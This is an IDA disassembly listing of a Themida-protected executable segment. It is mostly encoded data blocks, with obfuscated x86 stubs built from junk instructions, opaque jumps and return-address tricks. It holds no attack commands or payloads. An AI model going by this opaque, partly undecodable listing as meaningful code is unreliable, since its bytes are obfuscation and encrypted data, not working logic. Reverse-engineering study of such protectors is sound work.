dd 52420000h, 0FFAEE0C3h, 0F279FBEEh, 10E9h, 0E1A2D700h
dd 63E76833h, 0A3C4C3A5h, 0B07E4609h, 0E78589B4h, 0F507E7CBh
dd 0CBC166F9h, 13E96008h, 5C000000h, 0D3A80EE5h, 87EFA7E3h
dd 0C681227h, 0FCBB8AEEh, 8361ED56h, 850F40FBh, 6Ch, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0F6C35141h, 697FB625h
dd 9B1FD67h, 0BBBD8DF5h, 6A07E7CBh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0C3DCC353h
dd 0DB4FFD6Dh, 0BF0F609Fh, 47B966C8h, 5360616Ch, 5BAFEA81h
dd 815E160Dh, 39DEC0E7h, 94E96150h, 0F9000001h, 0F0DFB83h
dd 6F85h, 66606000h, 8E01F781h, 0E8615951h, 11h, 0B6107EA6h
dd 0CB5538BCh, 9C3A604Bh, 0F98B7A48h, 11E913h, 0D18A0000h
dd 0E0CEE74Dh, 655F3D36h, 4AD9CCBEh, 5B4DBAB5h, 0C3BD8D61h
dd 0F907E7CBh, 0F88B6660h, 40E961F8h, 60000001h, 13E9h
dd 2DFBB200h, 0A463D86Ch, 0A09286BCh, 7D1BEBE2h, 17FD050Bh
dd 58C0Fh, 81660000h, 6148D5E2h, 0F01FB83h, 7685h, 0F860F500h
dd 0FE8h, 8E99B300h, 0E7900C0Ah, 99B6F7DBh, 0EEB2C3ABh
dd 0AE9h, 6AA08A00h, 0C4E04C29h, 5A1BFC6Eh, 0CBBD8D61h
dd 6A07E7CBh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 0F936C350h, 0C1E9F5h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 0D73B32C3h, 0E56BD222h, 83FC38A3h, 850F2AFBh, 49h, 61F96060h
dd 0F1816660h, 0C18BC65Bh, 0BD8D6161h, 7E7CBD3h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 2EC35040h, 5DE9FCh
dd 0EE90000h, 1A000000h, 333945E7h, 8CB8AB20h, 2B97C9E8h
dd 27FB8383h, 326850Fh, 8DF50000h, 0E7CBDBBDh, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 8F0C9754h, 0AE9h, 5B692B00h, 25497930h, 60539D5Fh, 6B5DBA66h
dd 870Fh, 89610000h, 0E7CBEBBDh, 0F08B6007h, 2820Fh, 61600000h
dd 0C88C6661h, 14800Fh, 0FE90000h, 0
; ---------------------------------------------------------------------------
cmp al, 13h
sub [ebx], ebx
jmp short loc_5BF474
; ---------------------------------------------------------------------------
db 0CCh
db 2Dh
dd 8E4A1827h, 6E95435h, 8C000000h, 89F18273h, 6A032486h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 97D8C351h, 13E930h, 65890000h, 0E544438h
dd 4D13A069h, 7E97D01h, 0A3439183h, 0FC00ABEh, 1D085h
; ---------------------------------------------------------------------------
loc_5BF474: ; CODE XREF: Themida_:005BF420j
add [eax+0Fh], ah
lea eax, ds:66000000h
and ebx, 8B66433Ah
fldenv byte ptr [ecx+60h]
mov eax, 3030D041h
pusha
mov si, cx
sub bh, 0Eh
popa
popa
lea esi, [ebp+7E7D2AAh]
cld
mov eax, [ebp+7E7D353h]
push 0
push ebp
call sub_5BF4AC
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF4AC proc near ; CODE XREF: Themida_:005BF4A4p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5BF4AC endp
; ---------------------------------------------------------------------------
dd 92EE1E29h, 9E95250h, 15000000h, 0B4B1CE66h, 64359E40h
dd 0AE9310Fh, 43000000h, 0A180CC57h, 1D1732B8h, 50585A4Ah
dd 0A800Fh, 52500000h, 310F6160h, 585A6160h, 55006A92h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 0A9896A00h, 0E9AC3E32h, 0Eh, 0B0635D0h, 0D42A0A74h
dd 9561CE16h, 10F9972h, 60FE244Ch, 0BE9FCh, 62260000h
dd 419C6932h, 8E52ADA7h, 6A5A610Dh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0D386C351h
dd 6A24C283h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 85C352h, 0D0431011h, 31B26CDFh
dd 728966FCh, 88C0FFCh, 0F000000h, 28Fh, 0C1616000h, 666010CEh
dd 0E97A56BAh, 0Fh, 45114F13h, 0B57158A3h, 5DC6B93Fh, 6164F59Ch
dd 2728966h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 0DAC35343h, 4F3FDBAFh, 0FC99D8Dh, 1582h, 9E96000h
dd 89000000h, 6D66F2D3h, 9A883442h, 0A3E88166h, 4CD61D5h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D6C35141h
dd 9FE9F901h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 5778C357h, 81B66060h
dd 61F861F5h, 53858BF9h, 6A07E7D3h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E99BC350h
dd 5, 7341B011h, 6E921h, 53E00000h, 0BFA3D2AAh, 0D2AAB58Dh
dd 8DFC07E7h, 0E7841785h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0F8D0FF94h
dd 11E9h, 0FE7F9500h, 53C9BC9Dh, 0DD24337Dh, 38137D73h
dd 85896DF2h, 7E7CBE3h, 168D0Fh, 870F0000h, 10h, 0BE9h
dd 72B4DB00h, 0B09ED5E2h, 0A2848D94h, 8B666061h, 0A2B966D6h
dd 858B61C7h, 7E7CBE3h, 18C0Fh, 0C3F90000h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 8EC35747h, 0FFCFC336h
dd 0F9650019h, 78E0F65h, 0F000000h, 18Dh, 6660F800h, 66DA22BFh
dd 0B2BC281h, 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 5DC8CCC3h, 83CEF4BEh, 0E7D353BDh
dd 850F0007h, 5Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 79C35646h, 60AF42F6h, 3810Fh, 0F4800000h
dd 0CE81665Eh, 0C76195F4h, 0E7D35385h, 1013F07h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 144D2CB8h, 0E9FC44FEh, 18h, 12850Fh, 0DE90000h, 10000000h
dd 0ACCF5A40h, 43809EE5h, 0BEC35740h, 20CDh, 0C00B0000h
dd 708D3774h, 0EBBD8B0Ch, 0B907E7CBh, 8, 492275A6h, 488BFA75h
dd 0E79D8B30h, 3B07E7CBh, 157F3458h, 0D26BD38Bh, 8BCA0304h
dd 0E3858901h, 0EB07E7CBh, 0EB008B04h, 858B61C5h, 7E7CBE3h
dd 8060F5CFh
db 0F0h, 0A6h, 61h
; ---------------------------------------------------------------------------
loc_5BF82B: ; CODE XREF: Themida_:loc_5BF07Aj
mov eax, eax
call near ptr loc_5BF843+2
aaa
pop ebp
add esi, [esi+4179F87Dh]
call far ptr 0C636h:0CBAA622Eh
mov esi, ds
loc_5BF843: ; CODE XREF: Themida_:005BF82Dp
shr dl, 59h
movzx ebx, bx
add ecx, 5A88h
cld
mov edx, 493E09B3h
add edx, 0B6C20CBCh
pusha
mov ebx, 3A11C8AEh
popa
loc_5BF862: ; CODE XREF: Themida_:005BF8F8j
mov esi, [ecx]
or bx, 55BBh
add esi, 67386A22h
jg loc_5BF885
pusha
jmp loc_5BF882
; ---------------------------------------------------------------------------
sub bl, [eax+ebx*2+797BA4C0h]
loc_5BF882: ; CODE XREF: Themida_:005BF876j
mov ebx, edi
popa
loc_5BF885: ; CODE XREF: Themida_:005BF86Fj
sub esi, 537397C8h
mov bh, dh
xor esi, 2AA2D243h
xor ax, 82B8h
push esi
jmp loc_5BF8AA
; ---------------------------------------------------------------------------
dw 0E354h
dd 3A9D84F6h, 0B26D96B7h
db 0E8h, 7Fh
; ---------------------------------------------------------------------------
loc_5BF8AA: ; CODE XREF: Themida_:005BF899j
pop dword ptr [ecx]
push edx
jmp loc_5BF8C2
; ---------------------------------------------------------------------------
dw 8301h
dd 4AC79DABh, 648DF453h, 42D090DFh
db 0F9h, 4
; ---------------------------------------------------------------------------
loc_5BF8C2: ; CODE XREF: Themida_:005BF8ADj
pop eax
sub ecx, 4
dec edx
jnz loc_5BF8EF
jmp loc_5BF8DA
; ---------------------------------------------------------------------------
dw 0C84Bh
; ---------------------------------------------------------------------------
xchg eax, edx
mov ds:3164EF0Eh, al
loc_5BF8DA: ; CODE XREF: Themida_:005BF8CDj
jmp loc_5BF902
; ---------------------------------------------------------------------------
jge short near ptr dword_5BF90C
jno short loc_5BF8E9
psrld mm2, qword ptr [esi]
or al, 7Ch
inc esi
loc_5BF8E9: ; CODE XREF: Themida_:005BF8E1j
dec ebx
sbb eax, 41274C56h
loc_5BF8EF: ; CODE XREF: Themida_:005BF8C7j
push edi
pusha
push eax
pop ecx
movzx eax, si
popa
pop edi
jmp loc_5BF862
; ---------------------------------------------------------------------------
mov ebx, 5789B02h
loc_5BF902: ; CODE XREF: Themida_:loc_5BF8DAj
jmp loc_5BFA4F
; ---------------------------------------------------------------------------
byte_5BF907 db 70h ; DATA XREF: Themida_:00585024o
; Themida_:005854A0o
dd 74000000h
dword_5BF90C dd 78000000h, 7C000000h, 80000000h, 84000000h, 88000000h
; CODE XREF: Themida_:005BF8DFj
dd 8C000000h, 0D0000000h, 0D4000000h, 0D8000000h, 0DC000000h
dd 0E0000000h, 0E4000000h, 0E8000000h, 0EC000000h, 0F0000000h
dd 0F4000000h, 0F8000000h, 0FC000000h, 0
dd 4000001h, 8000001h, 0C000001h, 1, 37h dup(0)
dd 67000000h, 3005BF9h
; ---------------------------------------------------------------------------
retn 0B2h
; ---------------------------------------------------------------------------
loc_5BFA4F: ; CODE XREF: Themida_:loc_5BF902j
lea eax, [ebp+7E7D47Ch]
pusha
jmp loc_5BFA64
; ---------------------------------------------------------------------------
db 56h
dd 0CE257EB5h, 8EE952B6h
; ---------------------------------------------------------------------------
loc_5BFA64: ; CODE XREF: Themida_:005BFA56j
mov [ebp+7E42B99h], eax
popa
mov [ebp+7E7D5BCh], eax
xor [ebp+7E43015h], eax
mov byte ptr [ebp+7E42C2Dh], 54h
adc dx, 0CFB2h
push 0FBE1882Eh
xor dword ptr [esp], 1583E007h
jmp loc_5BFA9F
; ---------------------------------------------------------------------------
dd 0DE39E678h, 44EFEEABh
db 0EDh, 19h, 0C6h
; ---------------------------------------------------------------------------
loc_5BFA9F: ; CODE XREF: Themida_:005BFA8Fj
push dword ptr [ebp+7E42141h]
clc
jl loc_5BFAB0
push edx
push esi
pop edi
pop esi
loc_5BFAB0: ; CODE XREF: Themida_:005BFAA6j
lea eax, [ebp+7E7B0A7h]
call eax
mov ecx, [ebp+7E40D69h]
mov [ebp+7E41815h], ebx
mov [ebp+7E7D5C0h], eax
or [ebp+7E40729h], esi
jmp loc_5BFB1C
; ---------------------------------------------------------------------------
cmc
loc_5BFAD6: ; DATA XREF: Themida_:00582630o
; Themida_:005847B8o ...
push esi
mov esi, [ebp+7E7D5BCh]
mov [esi], eax
add dword ptr [ebp+7E7D5BCh], 4
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_5BFAE8 proc near ; DATA XREF: Themida_:0058441Co
pusha
lea esi, [ebp+7E7D47Ch]
jmp short loc_5BFB00
; ---------------------------------------------------------------------------
loc_5BFAF1: ; CODE XREF: sub_5BFAE8+1Bj
push esi
push 0
push dword ptr [esi]
call dword ptr [ebp+7E7D5C0h]
pop esi
add esi, 4
loc_5BFB00: ; CODE XREF: sub_5BFAE8+7j
cmp dword ptr [esi], 0
jnz short loc_5BFAF1
popa
retn
sub_5BFAE8 endp
; ---------------------------------------------------------------------------
xor ebx, 624D14B3h
jmp loc_5BFB1C
; ---------------------------------------------------------------------------
dw 167Ah
dd 1B6C9624h, 0E7D104CCh
; ---------------------------------------------------------------------------
loc_5BFB1C: ; CODE XREF: Themida_:005BFAD0j
; Themida_:005BFB0Dj
lea eax, [ebp+7E7D65Dh]
mov [ebp+7E41675h], ecx
mov [ebp+7E41F91h], eax
jmp loc_5BFC35
; ---------------------------------------------------------------------------
db 0D3h
dd 975B6640h, 838A055Ch, 1D76A188h, 0DD7A0E0Ah, 3733538Fh
dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh
dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh
dd 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h, 2060E0E0h
dd 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h
dd 60206020h, 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh
dd 60206020h, 0A7286020h, 50F0362Bh, 0B6F360C9h, 0F796A1EFh
dd 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h
dd 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h
dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh
dd 3D577DD7h, 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh
dd 0D25D3407h, 1E59A0A3h, 7 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5BFC35: ; CODE XREF: Themida_:005BFB2Ej
jmp loc_5C0962
; ---------------------------------------------------------------------------
push 7E7DA07h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E7DB39h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E7DC42h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E7DD30h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E7DDAEh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E7DE7Bh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E7DFC9h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E7E08Ch
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E7E13Fh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E7E21Bh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E7E2F7h
jmp loc_58A287
; ---------------------------------------------------------------------------
dd 0E5799B73h, 42D6F6CFh, 0A236502Ch, 599AD8Ch, 64F814EFh
dd 11EC658Bh, 714B61F5h, 0CBA9BF53h, 2E0B21B5h, 1FCF8216h
dd 0A578DDA2h, 0A5347913h, 29617956h, 5430815Bh, 54BBDA3Ah
dd 329A6268h, 7F3DA1D9h, 0DAEC04E1h, 3916093Dh, 0EDC710EEh
dd 891D76CFh, 3989256Ah, 0A60F62BCh, 8FC73013h, 38CCE4C1h
dd 20FA4522h, 0ED51FFBh, 0E7404324h, 0F687C5Bh, 3B502AD7h
dd 8A5313A6h, 3B8663DAh, 9AEA4361h, 3BC4BB38h, 329213A6h
dd 0A63CCEB5h, 0CA238C13h, 5ABC96B8h, 5AC5E1BCh, 13A63CA5h
dd 0AF54D131h, 2B13A63Ch, 3D5769C2h, 0E63A4160h, 6B06F8B5h
dd 0A61409EEh, 35CC513h, 0C7A472AAh, 703977AFh, 216C4934h
dd 55F02848h, 823AACFCh, 12F1EF06h, 0C49BBDCFh, 0D877B23Bh
dd 0C8E4BF5Dh, 5A817B6h, 56400000h, 97296179h, 7B843825h
dd 35B2D1B3h, 1442E94Eh, 384AA30Ch, 4122411Eh, 2A737E79h
dd 0B43633Ch, 2ABE1770h, 3E10DE50h, 0D37249C5h, 1A526A47h
dd 454A6D7Fh, 3AB71969h, 1442BA45h, 0B896A811h, 0A6A9B13Bh
dd 5E96FF13h, 0A68ECEB1h, 386C7D13h, 77EF7B84h, 355CD8h
dd 4D850000h, 9F1C6C42h, 13A6A9E9h, 59063EA7h, 13A6AAA6h
dd 2C501425h, 0D87807D3h, 344827C5h, 0BD8322h, 5A30000h
dd 0E299162Bh, 7013A6A6h, 4822AE07h, 5643182Ah, 5B296179h
dd 5E2C6480h, 63316981h, 801E6E86h, 0B8538BA3h, 1D8F84A6h
dd 181442A3h, 798F233Bh, 754C849Ch, 0C744941Ah, 13A6B04Dh
dd 0F716AA13h, 64C61698h, 0A6B810E7h, 4355BE13h, 51E7E865h
dd 3AAC1440h, 47FEF791h, 0DAB7431Dh, 68D1B0C2h, 839F7A18h
dd 0AFFED9EFh, 0BC43C0D5h, 1A1B8923h, 0EFCC58B1h, 0AD2A7ED7h
dd 7A623299h, 0A07B43Ah, 855D0000h, 0E0B9CF63h, 3A162CC0h
dd 97768C20h, 0FED9EF83h, 8F754EE2h, 4BDFFBD6h, 0A93D5B35h
dd 0B9FB593h, 6C0018F5h, 0F78C09B9h, 6313A57Ah, 7B568F1Eh
dd 0D8B5CB5Fh, 4D5B2CC0h, 445C3942h, 681E9BEBh, 2613A6A9h
dd 8B1126B6h, 92E23CCCh, 0A6566E15h, 2A83EC13h, 4FB78DAh
dd 9713A656h, 0CF6AA2BAh, 0E909E27Eh, 0ABBD16B1h, 3E153E5h
dd 74BBBE35h, 532C2537h, 0F813A686h, 0C9A644A6h, 73DE79B1h
dd 13A6868Ch, 0C617350Fh, 0F6AE4B5Dh, 314725C3h, 34502BF9h
dd 11EEC9DBh, 0C6D877EBh, 0E2h, 19F492EFh, 9E2AC5FDh, 7A94A6C4h
dd 6A118E9Dh, 0E81442A0h, 0CDB22F7Fh, 891442A0h, 0C18FC720h
dd 0E592CAE6h, 1442A3EBh, 0E579916Eh, 0C8A7F2CFh, 6D0B5BB4h
dd 0A0667890h, 19579C0Eh, 5CCD4C88h, 22E88F0Ch, 0FD661442h
dd 0E7C7C8EBh, 9C822597h, 0CFD845C5h, 154D6743h, 0D8A687Ah
dd 13A63E0Bh, 3D5CF059h, 8F0C5C52h, 1440D833h, 0EA88D841h
dd 23BEF60Ch, 0A338BC3h, 32448C30h, 0BFDBB654h, 1E3A152Bh
dd 32A417CAh, 5EE42462h, 8D5h, 195B78Fh, 5EF212EBh, 0BE526C48h
dd 21B5C9A8h, 8014300Bh, 2D0841A7h, 8D677D11h, 0E7C5DB6Fh
dd 4A273DD1h, 3BEB9E32h, 0A57B39BEh, 0C1509513h, 0CB5F7B56h
dd 2D7453F1h, 67023A4Eh
; ---------------------------------------------------------------------------
loc_5C0000: ; DATA XREF: Themida_:005829A0o
push cs
setalc
inc esp
mov dword ptr [eax], 9E1442A0h
xor eax, 5D7150DCh
and eax, 815E788Ah
imul edx, ebp, 61795604h
sub [ebx+7Eh], ebx
db 66h
shr byte ptr [ebx+0CA2ED63h], cl
loc_5C0023: ; DATA XREF: Themida_:00582514o
; Themida_:005839A0o
mov esp, 0A0F6E85Ah
xchg eax, ebx
mov ah, 0A0h
inc eax
stosd
jmp dword ptr [eax+eax]
; ---------------------------------------------------------------------------
dd 83CD419Bh, 0EBE4F64Fh, 13A6643Dh, 690E8BEBh, 0E613A7B4h
dd 0A7B49269h, 86D74013h, 0B4D2A926h, 178013A7h, 6C5C65BEh
dd 62DFF4CEh
dword_5C005C dd 13A7B49Dh, 3F77D039h, 0CC9992A4h, 52ED6FC0h, 6FD7A3Dh
; DATA XREF: ___:off_444E7Co
dd 0D412EF29h, 50C2126Bh, 1AC0F527h, 0AA889A36h, 0B37132Dh
dd 94D04215h, 2B942D23h, 0E0857AF7h, 0E8511AD3h, 359E7D8Fh
dd 456926FDh, 502078F5h, 89F21D34h, 0A6BE9B39h, 0C7C63812h
dd 42E04CE6h, 0F80EEC78h, 0F91325C0h, 6CCFD1Ch, 0E05C62BFh
dd 2EB83387h, 57975B85h, 7CCD1h, 9EC09800h, 0FB1BF40Ah
dd 5B755167h, 0BED2B1C7h, 1D39142Ah, 114AB089h, 70861A36h
dd 0CEE47896h, 3046DAF0h, 0F4A73B53h, 7C30C744h, 599E13A5h
dd 617956CAh, 6A3D5229h, 0F8D17D30h, 0A22078D8h, 0C967B710h
dd 0A9C5A0EDh, 457DD671h, 58BA98AAh, 0BA94DBBAh, 70C9649Ch
dd 5229A638h, 1442ADh, 332C3E97h, 13A69F49h, 0EB0A9E07h
dd 58BA0AA4h, 398274E6h, 6A7CCF0Ah, 414A0B71h, 1060C914h
dd 2D7D9572h, 0B5A94ECBh, 0BC251B8Eh, 957288AAh, 0B48F2D7Dh
dd 0B55F24A1h, 92FB1B8Eh, 976CE939h, 431B8EB5h, 2B02C8DAh
dd 7DFA4A64h, 1C69632Eh, 0A54393FCh, 61CB0C8h, 2D91129h
dd 5FD1218Dh, 0B330D269h, 3F185CCh, 9CC1218Ah, 2E0C1E7Bh
dd 21F65ACCh, 0AD9567A3h, 0F804A29Bh, 0B6520415h, 1266BFDBh
dd 5266B5E3h, 0DEBA4080h, 86000006h, 0E2F88CAEh, 3F55E909h
dd 9FB54963h, 218ACC0h, 9E770B27h, 824FF58h, 66845E74h
dd 0C8DEBCD2h, 29411E34h, 0B532E295h, 13A57DCEh, 4DB8478Ch
dd 3F87542h, 941442A0h, 0E14A9BBBh, 65F7955h, 0F23918B6h
dd 90A2FB17h, 76FE35B2h, 20BC13A5h, 55F02846h, 310EACFCh
dd 95EE0CE6h, 0F60EEB01h, 0D3A8E7BEh, 8A3DBF9h, 18E25FAFh
dd 0B6144145h, 1406F94Dh, 31716232h, 660ABh, 0A2C0400h
dd 67876076h, 0C7E1BDD3h, 2A3E1D33h, 89A58096h, 7DD61CF5h
dd 0DCF286A2h, 3A50E402h, 9CB2465Ch, 6013A7BFh, 7D4C33B0h
dd 0C50A13A5h, 0B3309236h, 1442A0CCh, 0F515EE8Ah, 28678A9Ch
dd 43B93686h, 1113A577h, 0DDBA58A8h, 3E1B31C5h, 7817EE26h
dd 0B40D2703h, 0AEB8E764h, 5671442h, 0E5126A3h, 94FD1B8Dh
dd 8D0E5229h, 0CCECC51Bh, 2100127Bh, 890668B8h, 1B8D0EF2h
dd 0CCEAC460h, 0D1A62373h, 7D1B8D0Eh, 86240214h, 23FD91A9h
dd 0B4A659B1h, 260369CEh, 89A3B50Eh, 0D24494ACh, 0DC98F2Ch
dd 542BA8CCh, 21B8D42h, 682E4099h, 60B0FE91h, 6955C5E3h
dd 5D23931Ch, 14E59CD1h, 9970C41Dh, 0F25A4B0Ch, 5932CB2h
dd 0F9D10000h, 542D43D7h, 0AE8AA034h, 0BEA0094h, 724D63F7h
dd 3E9C256h, 0BF536F4Ah, 1DB1CFA9h, 7F132907h, 0E0748C69h
dd 7B007D2Dh, 0D713A57Eh, 79560392h, 7E5B2961h, 0DCB3D266h
dd 8B0582D2h, 0C913A6B3h, 0D7EDCB69h, 0A6B4976Ch, 81DA4313h
dd 0B4E39C49h, 576813A6h, 9906F2Fh, 0A406D878h, 0A6BC5027h
dd 0CEE6C313h, 6302147Dh, 77h, 0EAEF1183h, 0BF57B20Ah
dd 6816489Fh, 293B94F3h, 15F49254h, 316544FAh, 5FB84C56h
dd 49652A4Dh, 1DF997F9h, 1E30CB03h, 0A62C6F25h, 4FCC2E13h
dd 13A62EA8h, 0CCABBD26h, 0DF385630h, 7B651D8Fh, 39F43C98h
dd 700B435Dh, 923F0517h, 13A633E9h, 4A9A0C5Eh, 213B77DBh
dd 0C7B08322h, 0E7511967h, 500C38D5h, 0D8779FAFh, 2DFE77E9h
dd 4AD080E5h, 0A39938h, 56C20000h, 5B296179h, 0BF06D80h
dd 0C71442A0h, 3BCD055Eh, 4EEEC3C9h, 0C3D58C39h, 7CB4CCA9h
dd 25B9D1AEh, 4278BE30h, 91DCB914h, 0AE429BB5h, 6BA3BB98h
dd 63B3FB94h, 0A671F8E6h, 0A93DA613h, 59A9058Ah, 40A474DCh
dd 4D9D0614h, 54744DEBh, 314D2842h, 99AC879Dh, 8978671Ch
dd 318AF31Bh, 324436DDh, 0A3296962h, 445h, 9125471Fh, 0EE82A27Bh
dd 4EE2FCD8h, 0B1455938h, 10A4C09Bh, 0BD98B137h, 1DF70DA1h
dd 77556BFFh, 0DAB7CD61h, 0CB7B2EC2h, 0A57FA94Eh, 51E02513h
dd 0CB5F7B56h, 2CC0D8B5h, 6C424D5Bh, 0A9E99F1Ch, 3EA713A6h
dd 0AAA65906h, 0D32513A6h, 73F5935h, 89BD5A6Ch, 78072AD5h
dd 0A6ABD8h, 69CB0000h, 0A6A617ECh, 485AC313h, 5A795673h
dd 0AE9F2AF2h, 4393ECA5h, 9DAFC9A5h, 122E09D7h, 0CEA32DDAh
dd 0D9B61442h, 3A172DC1h, 7C13EA22h, 31FAE22Bh, 50A96247h
dd 25158300h, 0DA4313A6h, 46682746h, 1DF694F6h, 182AC5FDh
dd 40DCA41Fh, 3181EA14h, 89CB893h, 0A7FB17F2h, 62329B76h
dd 8277FD3Dh, 0E2000003h, 3E54E80Ah, 9BB14565h, 0FB11A5BFh
dd 5E74081Ch, 0FAD36783h, 64805BF4h, 0C2E0BAD0h, 243A182Eh
dd 859D7A90h, 118E3EF1h, 13A5406Ah, 5614A3E8h, 14EB687Bh
dd 0C21442A0h, 566C0059h, 0FCCD6179h, 29617956h, 0D2667E5Bh
dd 0A4EB61ABh, 6F3DBA0Ah, 3D13A68Ch, 69DBCBD4h, 7A5F7F94h
dd 2D2638E4h, 0B793D5FAh, 33832B64h, 0BFC74CB6h, 0E5A212BFh
dd 84A2241h, 73E5358Eh, 45C106E2h, 5F3BC73Eh, 966D3345h
dd 8FA382F9h, 1363BC57h, 6E809875h, 22CF1390h, 0F18DA058h
dd 52A2FB15h, 0AD8CD7B4h, 96AC4099h, 0DA4DA1B9h, 0EDB6193Ah
dd 2CF27ADh, 0BD950000h, 18F1079Bh, 724E64F8h, 0CFAEC458h
dd 361127BBh, 47AD861Ah, 8317330Eh, 0E175936Dh, 43D7EDCBh
dd 0A438502Dh, 3FC441F1h, 9B13A541h, 7956C756h, 32AF1161h
dd 1442A04Dh, 0C88EA009h, 0C0109EF1h, 0CBE3C05Eh, 815EC0B9h
dd 8BF413A6h, 650D0F7h, 7FE81E89h, 9EFE12F1h, 1972B036h
dd 374D2BC9h, 83E54725h, 0A6037106h, 6274DD13h, 422FBB69h
dd 0B1F96914h, 0F7E49C26h, 0AFBAC31Ch, 0A7043F30h, 959553Ah
dd 0C0552AA7h, 9801D815h, 112BA886h, 40DFF1E1h, 52D4BDCEh
dd 5062A1BEh, 1AB80871h, 0BA99253Dh, 0C1D36EA6h, 0F0CB69FBh
dd 0EF019CD4h, 0DFB8C3CCh, 3A93B38Ch, 0CC1491E1h, 8EC79ED0h
dd 5A37D525h, 0BB98AE42h, 40789670h, 39F84CA5h, 0A295DAADh
dd 1F3DC62h, 99710000h, 0F4CDE377h, 4E2A40D4h, 0AB8AA034h
dd 12ED0397h, 638962F6h, 5FF30FEAh, 0BD516F49h, 1FB3C9A7h
dd 80142C09h, 0DBA01DCDh, 7713A542h, 7956A332h, 0EB3B4F2Eh
dd 42A0896Eh, 83DC4514h, 0C47B94Bh, 4275930Eh, 2966899Bh
dd 12B83585h, 6113A66Fh, 0BED0E4C3h, 7D027FDFh, 0CA13A650h
dd 0F6C83DFh, 2D96E746h, 981940D4h, 1F6F3F50h, 548CA481h
dd 4CC9A7B9h, 1442F39Eh, 0B9D3AF4Dh, 6658C8A7h, 8FEF0F91h
dd 0A0ABB40Dh, 0A37882BBh, 445E3AD8h, 2E800F32h, 4A6440DEh
dd 63DD5A38h, 0F1DB1D3Ah, 16795088h, 48E64898h, 443D4F6Fh
dd 0C33ACC1Ch, 0F94622BEh, 33CE061Ah, 7B07A2DAh, 0B24D859Fh
dd 8E6B0959h, 0EFCCE276h, 74ACCAA4h, 0F2C80D9h, 0E0997690h
dd 1171AA0h, 754D0000h, 0D0A9BF53h, 2A061CB0h, 87667C10h
dd 0EEC9DF73h, 9F653ED2h, 3BCFEBC6h, 992D4B25h, 0FB8FA583h
dd 5CF008E5h, 877CF9A9h, 5313A542h, 79567F0Eh, 23A502Eh
dd 4CBE0E67h, 0AB0FBC7Eh, 0A3B796DDh, 867DFA4Ah, 54144266h
dd 3C13D9EBh, 8E0B5B53h, 13A672E8h, 8F69FD66h, 1EF712F1h
dd 0AD10522h, 0AF4A82DBh, 99157A9Dh, 539BCC49h, 0DE471441h
dd 0FA14F08Eh, 0F29022E8h, 2AC5FD15h, 2D71A0CAh, 798BF831h
dd 1A6A825Fh, 99443BB8h, 0A9121B89h, 825F7597h, 3EA0326Ah
dd 89993AC1h, 0A32F981Bh, 9F98AACAh, 47083DE3h, 3C2363E0h
dd 1C3A145Fh, 0A0F049E4h, 0D20A2802h, 7E3CC340h, 319A780Eh
dd 55714CD8h, 2E0B2143h, 3110DE16h, 572EE51Dh, 0EFCE6C2Fh
dd 0D2AFC9DBh
dd 7EB146C3h, 0B41D780Eh, 0D4B1C75Bh, 753312B5h, 0EF484B5Eh
dd 0B25019Fh, 602638D3h, 0F1CE6CCEh, 9B06A1D9h, 780E3AE4h
dd 63E5E37h, 9FB11A6Bh, 8CDh, 0F4925C00h, 7EAFC1Ah, 5C7E56B8h
dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h
dd 768A6937h, 7A94703Eh, 7B9B7442h, 8952EE43h, 4C281E2h
